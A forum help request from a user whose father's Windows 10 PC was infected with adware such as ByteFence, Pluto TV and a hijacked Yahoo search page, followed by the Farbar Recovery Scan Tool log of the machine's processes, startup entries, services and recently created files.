Jump to content

Welcome to Geeks to Go - Register now for FREE

Geeks To Go is a helpful hub, where thousands of volunteer geeks quickly serve friendly answers and support. Check out the forums and get free advice from the experts. Register now to gain access to all of our features, it's FREE and only takes one minute. Once registered and logged in, you will be able to create topics, post replies to existing threads, give reputation to your fellow members, get your own private messenger, post status updates, manage your profile and so much more.

Create Account How it Works
Photo

Just got windows 10 and got a virus shortly after [Closed]


  • This topic is locked This topic is locked

#1
larryzas

larryzas

    Member

  • Member
  • PipPip
  • 19 posts

Hi

I am helping my dad with his computer.  He went to check the menu at a fast food chain and clicked a link for couponxploder or something like that.  It disabled his Google Chrome and just all around messed his machine up.  He clicked on a link to re download chrome but it added some ByteForce thing and a Pluto TV....Neither of which he wants and they just pop up all the time.  Any help in getting this back to the way it was a week or so ago would be helpful.  His machine is also VERY slow compared to mine (I have the same model as him).

 

Thanks in advance.

 

Kirk (working for Larry's computer :) )

 

 

Here are the FRST logs

 

 
 
Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version:31-12-2015
Ran by Larry (administrator) on LARRYSCOMPUTER (01-01-2016 16:50:21)
Running from C:\Users\Larry\Downloads
Loaded Profiles: Larry & Guest &  (Available Profiles: Larry & Guest)
Platform: Windows 10 Home Version 1511 (X64) Language: English (United States)
Internet Explorer Version 11 (Default browser: Chrome)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo...very-scan-tool/
 
==================== Processes (Whitelisted) =================
 
(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
 
(AMD) C:\Windows\System32\atiesrxx.exe
(Ai Squared) C:\Program Files (x86)\ZoomText 10.1\AiSquared.Magnification.Service.exe
(Andrea Electronics Corporation) C:\Program Files\Realtek\Audio\HDA\AERTSr64.exe
(Advanced Micro Devices, Inc.) C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe
(Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe
(SEIKO EPSON CORPORATION) C:\Program Files\EPSON\EpsonCustomerParticipation\EPCP.exe
(Seiko Epson Corporation) C:\Windows\System32\escsvc64.exe
(CrypKey (Canada) Ltd.) C:\Windows\System32\Crypserv.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(Ai Squared ) C:\Program Files (x86)\ZoomText 10.1\ZoomTextHelperService.exe
() C:\Program Files\ByteFence\rtop\bin\rtop_svc.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\MsMpEng.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\NisSrv.exe
(Hewlett-Packard) C:\Program Files (x86)\Hewlett-Packard\HP Connected Remote\HPConnectedRemoteService.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\HPSupportSolutionsFrameworkService.exe
(Realsil Microelectronics Inc.) C:\Program Files (x86)\Realtek\Realtek PCIE Card Reader\RIconMan.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Hewlett-Packard\Shared\hpqwmiex.exe
(AMD) C:\Windows\System32\atieclxx.exe
() C:\Program Files\ByteFence\rtop\bin\rtop_bg.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(Hewlett-Packard) C:\Program Files (x86)\Hewlett-Packard\HP Connected Remote\HPConnectedRemoteUser.exe
(Microsoft Corporation) C:\Windows\System32\SettingSyncHost.exe
(CyberLink) C:\Program Files (x86)\CyberLink\YouCam\YCMMirage.exe
(SEIKO EPSON CORPORATION) C:\Windows\System32\spool\drivers\x64\3\E_YATINAE.EXE
() C:\Program Files\WindowsApps\Microsoft.Messaging_2.12.15004.0_x86__8wekyb3d8bbwe\SkypeHost.exe
(Malwarebytes) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbam.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\MpCmdRun.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(Reimage®) C:\Users\Larry\AppData\Local\Temp\nsu43F8.tmp\ProtectorUpdater.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(Microsoft Corporation) C:\Windows\ImmersiveControlPanel\SystemSettings.exe
() C:\Program Files\WindowsApps\Microsoft.Windows.Photos_15.1208.10480.0_x64__8wekyb3d8bbwe\Microsoft.Photos.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(Microsoft Corporation) C:\Windows\System32\LockAppHost.exe
() C:\Windows\SystemApps\Microsoft.LockApp_cw5n1h2txyewy\LockApp.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(The Chromium Authors) C:\Users\Larry\AppData\Local\Chromium\Application\chrome.exe
(The Chromium Authors) C:\Users\Larry\AppData\Local\Chromium\Application\chrome.exe
(The Chromium Authors) C:\Users\Larry\AppData\Local\Chromium\Application\chrome.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(Ai Squared ) C:\Program Files (x86)\ZoomText 10.1\x64\ZtUac64.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(Microsoft Corporation) C:\Windows\System32\AtBroker.exe
(Ai Squared ) C:\Program Files (x86)\ZoomText Keyboard\ZoomTextKeyboard.exe
 
 
==================== Registry (Whitelisted) ===========================
 
(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
 
HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RtkNGUI64.exe [6549136 2012-07-02] (Realtek Semiconductor)
HKLM-x32\...\Run: [StartCCC] => C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\amd64\CLIStart.exe [767176 2015-08-21] (Advanced Micro Devices, Inc.)
HKLM-x32\...\Run: [CLMLServer_For_P2G8] => c:\Program Files (x86)\CyberLink\Power2Go8\CLMLSvc_P2G8.exe [111120 2012-06-07] (CyberLink)
HKLM-x32\...\Run: [CLVirtualDrive] => c:\Program Files (x86)\CyberLink\Power2Go8\VirtualDrive.exe [491120 2012-07-02] (CyberLink Corp.)
HKLM-x32\...\Run: [QuickTime Task] => C:\Program Files (x86)\QuickTime\qttask.exe [77824 2014-05-20] (Apple Computer, Inc.)
HKLM-x32\...\Run: [HP Software Update] => C:\Program Files (x86)\HP\HP Software Update\HPWuSchd2.exe [49208 2010-06-09] (Hewlett-Packard)
HKLM-x32\...\Run: [EEventManager] => C:\Program Files (x86)\Epson Software\Event Manager\EEventManager.exe [1065968 2015-07-23] (SEIKO EPSON CORPORATION)
HKLM\...\Winlogon: [Userinit] C:\Windows\system32\userinit.exe,C:\WINDOWS\skipmetrosuite.exe,
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\...\Run: [TWC.Win7] => C:\Program Files (x86)\The Weather Channel\Desktop Weather\TWC.Win7.exe [49152 2015-07-04] ()
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\...\Run: [EPLTarget\P0000000000000000] => C:\WINDOWS\system32\spool\DRIVERS\x64\3\E_YATINAE.EXE [298560 2014-03-19] (SEIKO EPSON CORPORATION)
HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Run: [TWC.Win7] => C:\Program Files (x86)\The Weather Channel\Desktop Weather\TWC.Win7.exe [49152 2015-07-04] ()
HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\Run: [EPLTarget\P0000000000000000] => C:\WINDOWS\system32\spool\DRIVERS\x64\3\E_YATINAE.EXE [298560 2014-03-19] (SEIKO EPSON CORPORATION)
HKU\S-1-5-21-2690978493-790239216-3970457346-501\...\RunOnce: [WAB Migrate] => C:\Program Files\Windows Mail\wab.exe [517632 2015-10-30] (Microsoft Corporation)
HKU\S-1-5-21-2690978493-790239216-3970457346-501-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\...\RunOnce: [WAB Migrate] => C:\Program Files\Windows Mail\wab.exe [517632 2015-10-30] (Microsoft Corporation)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\HP Digital Imaging Monitor.lnk [2014-05-21]
ShortcutTarget: HP Digital Imaging Monitor.lnk -> C:\Program Files (x86)\HP\Digital Imaging\bin\hpqtra08.exe (Hewlett-Packard Co.)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\PlutoTV.lnk [2015-12-31]
ShortcutTarget: PlutoTV.lnk -> C:\Program Files (x86)\Pluto TV\PlutoTV.exe ()
Startup: C:\Users\Larry\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Epson all-in-one Registration.lnk [2015-08-19]
ShortcutTarget: Epson all-in-one Registration.lnk -> C:\Users\Larry\AppData\Roaming\Leadertech\PowerRegister\Epson all-in-one Registration.exe (Aviata/Epson)
 
==================== Internet (Whitelisted) ====================
 
(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
 
Hosts: There are more than one entry in Hosts. See Hosts section of Addition.txt
Tcpip\Parameters: [DhcpNameServer] 192.168.0.1
Tcpip\..\Interfaces\{462105b1-af78-47e3-ac0d-109f28027a93}: [DhcpNameServer] 192.168.0.1
Tcpip\..\Interfaces\{9b004c7d-7a34-4a9c-bedb-5212a582fab1}: [DhcpNameServer] 192.168.0.1
 
Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://g.msn.com/HPDSK13/1
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://g.msn.com/HPDSK13/1
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxps://us.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_dnldstr_15_53&param1=1&param2=f%3D1%26b%3DIE%26cc%3Dus%26pa%3DWincy%26cd%3D2XzuyEtN2Y1L1QzutDzzzy0EtDtCtA0BtDzzyE0AyByCtCyBtN0D0Tzu0StCyEyCtDtN1L2XzutAtFtCyCtFtCtFtDtN1L1Czu1BtAtN1L1G1B1V1N2Y1L1Qzu2StCyD0E0CtCyDtDtAtGyB0ByD0FtG0EyCtByBtGtDtCtCyDtG0C0F0D0EtAyBzz0F0CzyyDzz2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0Azy0F0A0EtDtBtDtGyC0D0A0EtGyE0AtBtBtG0B0AtA0BtGyDtDtDzztBtB0A0CyDyB0Fzy2QtN0A0LzuyEtN1B2Z1V1T1S1NzutCtBzyyB%26cr%3D179075692%26a%3Dwbf_dnldstr_15_53%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://g.msn.com/HPDSK13/1
HKU\S-1-5-21-2690978493-790239216-3970457346-1001\Software\Microsoft\Internet Explorer\Main,First Home Page = hxxp://g.msn.com/HPDSK13/1
HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\Software\Microsoft\Internet Explorer\Main,Start Page = hxxps://us.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_dnldstr_15_53&param1=1&param2=f%3D1%26b%3DIE%26cc%3Dus%26pa%3DWincy%26cd%3D2XzuyEtN2Y1L1QzutDzzzy0EtDtCtA0BtDzzyE0AyByCtCyBtN0D0Tzu0StCyEyCtDtN1L2XzutAtFtCyCtFtCtFtDtN1L1Czu1BtAtN1L1G1B1V1N2Y1L1Qzu2StCyD0E0CtCyDtDtAtGyB0ByD0FtG0EyCtByBtGtDtCtCyDtG0C0F0D0EtAyBzz0F0CzyyDzz2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0Azy0F0A0EtDtBtDtGyC0D0A0EtGyE0AtBtBtG0B0AtA0BtGyDtDtDzztBtB0A0CyDyB0Fzy2QtN0A0LzuyEtN1B2Z1V1T1S1NzutCtBzyyB%26cr%3D179075692%26a%3Dwbf_dnldstr_15_53%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome
HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://g.msn.com/HPDSK13/1
HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0\Software\Microsoft\Internet Explorer\Main,First Home Page = hxxp://g.msn.com/HPDSK13/1
SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKLM -> {8E0E081D-FD81-46C2-AD92-3B939C17F151} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us1-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKLM-x32 -> {8E0E081D-FD81-46C2-AD92-3B939C17F151} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us1-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKLM-x32 -> {D944BB61-2E34-4DBF-A683-47E505C587DC} URL = hxxp://rover.ebay.com/rover/1/711-154371-11896-2/4 ?mpre=http%3A%2F%2Fwww.ebay.com%2Fsch%2F%3F_nkw%3D{searchTerms}&keyword={searchTerms}
SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-21-2690978493-790239216-3970457346-1001 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-21-2690978493-790239216-3970457346-1001 -> {8E0E081D-FD81-46C2-AD92-3B939C17F151} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us1-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
SearchScopes: HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-21-2690978493-790239216-3970457346-1001-{ED1FC765-E35E-4C3D-BF15-2C2B11260CE4}-0 -> {8E0E081D-FD81-46C2-AD92-3B939C17F151} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us1-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms}
BHO: HP Network Check Helper -> {E76FD755-C1BA-4DCB-9F13-99BD91223ADE} -> C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPNetworkCheck\HPNetworkCheckPluginx64.dll => No File
BHO-x32: Norton Vulnerability Protection -> {6D53EC84-6AAE-4787-AEEE-F4628F01010C} -> C:\Program Files (x86)\Norton Internet Security\Engine\21.7.0.11\IPS\IPSBHO.DLL => No File
BHO-x32: HP Network Check Helper -> {E76FD755-C1BA-4DCB-9F13-99BD91223ADE} -> C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPNetworkCheck\HPNetworkCheckPlugin.dll [2015-10-19] (Hewlett-Packard Company)
Toolbar: HKLM-x32 - No Name - {7FEBEFE3-6B19-4349-98D2-FFB09D4B49CA} -  No File
StartMenuInternet: IEXPLORE.EXE - iexplore.exe
 
FireFox:
========
FF Plugin: @adobe.com/FlashPlayer -> C:\WINDOWS\system32\Macromed\Flash\NPSWF64_20_0_0_267.dll [2016-01-01] ()
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\WINDOWS\SysWOW64\Macromed\Flash\NPSWF32_20_0_0_267.dll [2016-01-01] ()
FF Plugin-x32: @messenger.yahoo.com/YahooMessengerStatePlugin;version=1.0.0.6 -> C:\Program Files (x86)\Yahoo!\Shared\npYState.dll [2012-05-25] (Yahoo! Inc.)
FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3502.0922 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2012-03-08] (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3555.0308 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2012-03-08] (Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.29.1\npGoogleUpdate3.dll [2015-12-01] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.29.1\npGoogleUpdate3.dll [2015-12-01] (Google Inc.)
FF Plugin-x32: @WildTangent.com/GamesAppPresenceDetector,Version=1.0 -> C:\Program Files (x86)\WildTangent Games\App\BrowserIntegration\Registered\0\NP_wtapp.dll [2015-10-12] ()
 
Chrome: 
=======
CHR HomePage: Default -> hxxps://us.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_dnldstr_15_53&param1=1&param2=f%3D1%26b%3DChrome%26cc%3Dus%26pa%3DWincy%26cd%3D2XzuyEtN2Y1L1QzutDzzzy0EtDtCtA0BtDzzyE0AyByCtCyBtN0D0Tzu0StCyEyCtDtN1L2XzutAtFtCyCtFtCtFtDtN1L1Czu1BtAtN1L1G1B1V1N2Y1L1Qzu2StCyD0E0CtCyDtDtAtGyB0ByD0FtG0EyCtByBtGtDtCtCyDtG0C0F0D0EtAyBzz0F0CzyyDzz2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0Azy0F0A0EtDtBtDtGyC0D0A0EtGyE0AtBtBtG0B0AtA0BtGyDtDtDzztBtB0A0CyDyB0Fzy2QtN0A0LzuyEtN1B2Z1V1T1S1NzutCtBzyyB%26cr%3D179075692%26a%3Dwbf_dnldstr_15_53%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome
CHR StartupUrls: Default -> "hxxps://us.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_dnldstr_15_53&param1=1&param2=f%3D7%26b%3DChrome%26cc%3Dus%26pa%3DWincy%26cd%3D2XzuyEtN2Y1L1QzutDzzzy0EtDtCtA0BtDzzyE0AyByCtCyBtN0D0Tzu0StCyEyCtDtN1L2XzutAtFtCyCtFtCtFtDtN1L1Czu1BtAtN1L1G1B1V1N2Y1L1Qzu2StCyD0E0CtCyDtDtAtGyB0ByD0FtG0EyCtByBtGtDtCtCyDtG0C0F0D0EtAyBzz0F0CzyyDzz2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0Azy0F0A0EtDtBtDtGyC0D0A0EtGyE0AtBtBtG0B0AtA0BtGyDtDtDzztBtB0A0CyDyB0Fzy2QtN0A0LzuyEtN1B2Z1V1T1S1NzutCtBzyyB%26cr%3D179075692%26a%3Dwbf_dnldstr_15_53%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome"
CHR DefaultSearchURL: Default -> hxxps://us.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_dnldstr_15_53&param1=1&param2=f%3D4%26b%3DChrome%26cc%3Dus%26pa%3DWincy%26cd%3D2XzuyEtN2Y1L1QzutDzzzy0EtDtCtA0BtDzzyE0AyByCtCyBtN0D0Tzu0StCyEyCtDtN1L2XzutAtFtCyCtFtCtFtDtN1L1Czu1BtAtN1L1G1B1V1N2Y1L1Qzu2StCyD0E0CtCyDtDtAtGyB0ByD0FtG0EyCtByBtGtDtCtCyDtG0C0F0D0EtAyBzz0F0CzyyDzz2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0Azy0F0A0EtDtBtDtGyC0D0A0EtGyE0AtBtBtG0B0AtA0BtGyDtDtDzztBtB0A0CyDyB0Fzy2QtN0A0LzuyEtN1B2Z1V1T1S1NzutCtBzyyB%26cr%3D179075692%26a%3Dwbf_dnldstr_15_53%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome&p={searchTerms}
CHR DefaultSearchKeyword: Default -> search provided by yahoo.com
CHR DefaultSuggestURL: Default -> {google:baseSuggestURL}search?client=chrome&hl={language}&q={searchTerms}
CHR Profile: C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (Google Docs) - C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-02-03]
CHR Extension: (Google Drive) - C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-10-21]
CHR Extension: (YouTube) - C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-09-24]
CHR Extension: (Google Search) - C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-10-27]
CHR Extension: (Google Docs Offline) - C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2015-11-17]
CHR Extension: (Chrome Web Store Payments) - C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2015-07-24]
CHR Extension: (Gmail) - C:\Users\Larry\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-03-27]
CHR HKLM\...\Chrome\Extension: [hkhkiakolggnnicallabhkobalpeplpi] - <no Path/update_url>
CHR HKLM-x32\...\Chrome\Extension: [hkhkiakolggnnicallabhkobalpeplpi] - <no Path/update_url>
 
==================== Services (Whitelisted) ========================
 
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
 
S3 AiSquared ContinueUpdate; C:\Program Files (x86)\ZoomText 10.1\AiSquared.ContinueUpdate.Service.exe [36568 2015-09-30] (Ai Squared)
R2 AiSquared Magnification; C:\Program Files (x86)\ZoomText 10.1\AiSquared.Magnification.Service.exe [50392 2015-09-30] (Ai Squared)
R2 AMD FUEL Service; C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe [344064 2015-08-21] (Advanced Micro Devices, Inc.) [File not signed]
R2 CrypKey License; C:\WINDOWS\system32\crypserv.exe [126976 2013-04-11] (CrypKey (Canada) Ltd.) [File not signed]
R2 EpsonScanSvc; C:\WINDOWS\system32\EscSvc64.exe [144560 2012-05-16] (Seiko Epson Corporation)
S3 GamesAppIntegrationService; C:\Program Files (x86)\WildTangent Games\App\GamesAppIntegrationService.exe [349728 2015-10-12] (WildTangent)
S2 Garmin Device Interaction Service; C:\Program Files (x86)\Garmin\Device Interaction Service\GarminService.exe [708616 2015-04-08] (Garmin Ltd. or its subsidiaries)
R2 HPConnectedRemote; c:\Program Files (x86)\Hewlett-Packard\HP Connected Remote\HPConnectedRemoteService.exe [35232 2012-07-19] (Hewlett-Packard)
R2 HPSupportSolutionsFrameworkService; C:\Program Files (x86)\Hewlett-Packard\HP Support Solutions\HPSupportSolutionsFrameworkService.exe [25800 2015-09-28] (Hewlett-Packard Company)
R2 IconMan_R; C:\Program Files (x86)\Realtek\Realtek PCIE Card Reader\RIconMan.exe [2451456 2012-07-13] (Realsil Microelectronics Inc.) [File not signed]
S2 MBAMService; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe [1135416 2015-10-05] (Malwarebytes)
S2 Net Driver HPZ12; C:\Windows\System32\HPZinw12.dll [71680 2010-08-06] (Hewlett-Packard) [File not signed]
S2 Pml Driver HPZ12; C:\Windows\System32\HPZipm12.dll [89600 2010-08-06] (Hewlett-Packard) [File not signed]
R2 rtop; C:\Program Files\ByteFence\rtop\bin\rtop_svc.exe [244664 2015-12-31] ()
R3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [364464 2015-10-30] (Microsoft Corporation)
R2 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [24864 2015-10-30] (Microsoft Corporation)
R2 ZoomText Helper Service; C:\Program Files (x86)\ZoomText 10.1\ZoomTextHelperService.exe [27864 2015-09-30] (Ai Squared )
 
===================== Drivers (Whitelisted) ==========================
 
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
 
R1 CLVirtualDrive; C:\Windows\system32\DRIVERS\CLVirtualDrive.sys [92536 2012-06-25] (CyberLink)
R3 MBAMProtector; C:\WINDOWS\system32\drivers\mbam.sys [25816 2015-10-05] (Malwarebytes)
R3 MBAMSwissArmy; C:\WINDOWS\system32\drivers\MBAMSwissArmy.sys [192216 2016-01-01] (Malwarebytes)
S3 MBAMWebAccessControl; C:\WINDOWS\system32\drivers\mwac.sys [64216 2015-10-05] (Malwarebytes Corporation)
R3 netr28x; C:\Windows\system32\DRIVERS\netr28x.sys [2554528 2015-06-12] (MediaTek Inc.)
R1 NetworkX; C:\Windows\System32\ckldrv.sys [31416 2013-04-11] ()
R3 rt640x64; C:\Windows\System32\drivers\rt640x64.sys [589824 2015-10-30] (Realtek                                            )
U5 usbfilter; C:\Windows\System32\Drivers\usbfilter.sys [56448 2012-03-31] (Advanced Micro Devices)
S0 WdBoot; C:\Windows\System32\drivers\WdBoot.sys [44568 2015-10-30] (Microsoft Corporation)
R0 WdFilter; C:\Windows\System32\drivers\WdFilter.sys [293216 2015-10-30] (Microsoft Corporation)
R3 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [118112 2015-10-30] (Microsoft Corporation)
 
==================== NetSvcs (Whitelisted) ===================
 
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
 
 
==================== One Month Created files and folders ========
 
(If an entry is included in the fixlist, the file/folder will be moved.)
 
2016-01-01 16:50 - 2016-01-01 16:51 - 00020867 _____ C:\Users\Larry\Downloads\FRST.txt
2016-01-01 16:50 - 2016-01-01 16:50 - 00000000 ____D C:\FRST
2016-01-01 16:49 - 2016-01-01 16:49 - 02370560 _____ (Farbar) C:\Users\Larry\Downloads\FRST64.exe
2016-01-01 16:42 - 2016-01-01 16:46 - 00000830 _____ C:\WINDOWS\Tasks\Adobe Flash Player Updater.job
2016-01-01 16:42 - 2016-01-01 16:42 - 00003806 _____ C:\WINDOWS\System32\Tasks\Adobe Flash Player Updater
2016-01-01 16:41 - 2016-01-01 16:42 - 00000000 ____D C:\Users\Larry\AppData\Local\Adobe
2016-01-01 15:22 - 2016-01-01 15:22 - 00000000 ____D C:\ForceByteDetector
2016-01-01 15:21 - 2016-01-01 15:22 - 03067608 _____ (Force Byte Detector) C:\Users\Larry\Downloads\Force112_Byte_Detector (1).exe
2016-01-01 15:19 - 2016-01-01 15:21 - 03067608 _____ (Force Byte Detector) C:\Users\Larry\Downloads\Force112_Byte_Detector.exe
2016-01-01 13:37 - 2016-01-01 13:37 - 00000000 ____D C:\ProgramData\Reimage Protector
2016-01-01 13:37 - 2016-01-01 13:37 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Reimage Repair
2016-01-01 13:37 - 2016-01-01 13:37 - 00000000 ____D C:\Program Files\Reimage
2016-01-01 13:36 - 2016-01-01 13:37 - 00000000 ____D C:\rei
2016-01-01 13:35 - 2016-01-01 13:37 - 00000099 _____ C:\WINDOWS\Reimage.ini
2016-01-01 13:34 - 2016-01-01 13:35 - 00772016 _____ (Reimage®) C:\Users\Larry\Downloads\ReimageRepair.exe
2015-12-31 17:39 - 2015-12-31 17:39 - 00000046 _____ C:\Users\Larry\AppData\Roaming\WB.CFG
2015-12-31 16:41 - 2015-12-31 16:41 - 00002370 _____ C:\Users\Larry\Desktop\Chromium.lnk
2015-12-31 16:41 - 2015-12-31 16:41 - 00000000 ____D C:\Users\Larry\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chromium
2015-12-31 16:40 - 2015-12-31 16:46 - 00000000 ____D C:\Users\Larry\AppData\Local\Chromium
2015-12-31 16:39 - 2016-01-01 16:39 - 00000300 _____ C:\WINDOWS\Tasks\UpdateTask.job
2015-12-31 16:39 - 2015-12-31 16:39 - 00002784 _____ C:\WINDOWS\System32\Tasks\UpdateTask
2015-12-31 16:22 - 2015-12-31 16:31 - 00927824 _____ (Google Inc.) C:\Users\Larry\Desktop\ChromeSetup.exe
2015-12-31 16:19 - 2015-12-31 16:19 - 00000013 _____ C:\Users\Larry\.pluto.tv
2015-12-31 16:18 - 2016-01-01 13:40 - 00000000 ____D C:\Users\Larry\AppData\Local\PlutoTV
2015-12-31 16:18 - 2015-12-31 16:18 - 00003822 _____ C:\WINDOWS\System32\Tasks\DriverRestore_ScheduledScan
2015-12-31 16:18 - 2015-12-31 16:18 - 00003666 _____ C:\WINDOWS\System32\Tasks\DriverRestore_DailyScan
2015-12-31 16:18 - 2015-12-31 16:18 - 00000258 __RSH C:\ProgramData\ntuser.pol
2015-12-31 16:17 - 2015-12-31 16:17 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Pluto TV
2015-12-31 16:17 - 2015-12-31 16:17 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\DriverRestore
2015-12-31 16:17 - 2015-10-09 04:04 - 00020872 _____ (Phoenix Technologies) C:\WINDOWS\SysWOW64\Drivers\DrvAgent64.SYS
2015-12-31 16:16 - 2015-12-31 16:19 - 00000000 ____D C:\Program Files (x86)\DriverRestore
2015-12-31 16:16 - 2015-12-31 16:18 - 00000000 ____D C:\Program Files (x86)\Pluto TV
